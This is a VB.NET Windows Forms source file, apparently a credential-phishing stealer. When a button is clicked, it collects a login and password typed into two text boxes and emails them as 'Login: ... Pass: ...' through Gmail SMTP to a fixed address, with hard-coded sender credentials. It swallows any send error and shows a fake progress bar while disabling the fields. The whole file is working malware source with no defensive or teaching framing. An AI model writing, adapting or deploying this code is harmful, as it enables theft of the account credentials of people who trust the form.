code vb

Imports System.Net.Mail

Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Value = ProgressBar1.Value + 1
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            ProgressBar1.Value = 0
            Timer1.Stop()
            Timer1.Enabled = False
            TextBox1.Enabled = True
            TextBox2.Enabled = True


        End If

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        'Email
        MyMailMessage.From = New MailAddress("@gmail.com") 'Destinataire
        MyMailMessage.To.Add("@gmail.com") 'Expéditeur
        MyMailMessage.Subject = ("[] Nouveau Compte") 'Sujet
        MyMailMessage.Body = ("Login: " & TextBox1.Text & " Pass: " & TextBox2.Text) 'Corps
        'SMTP
        SMTPServer.Port = ("587")
        SMTPServer.Credentials = New System.Net.NetworkCredential("@gmail.com", "MDP") 'Email (+Pass)
        SMTPServer.EnableSsl = True

        Try
            SMTPServer.Send(MyMailMessage) 'Envoi

        Catch ex As Exception
        End Try
        Timer1.Enabled = True
        Timer1.Start()
        Timer1.Interval = 1000 ' = 1min
        TextBox1.Enabled = False
        TextBox2.Enabled = False


    End Sub
End Class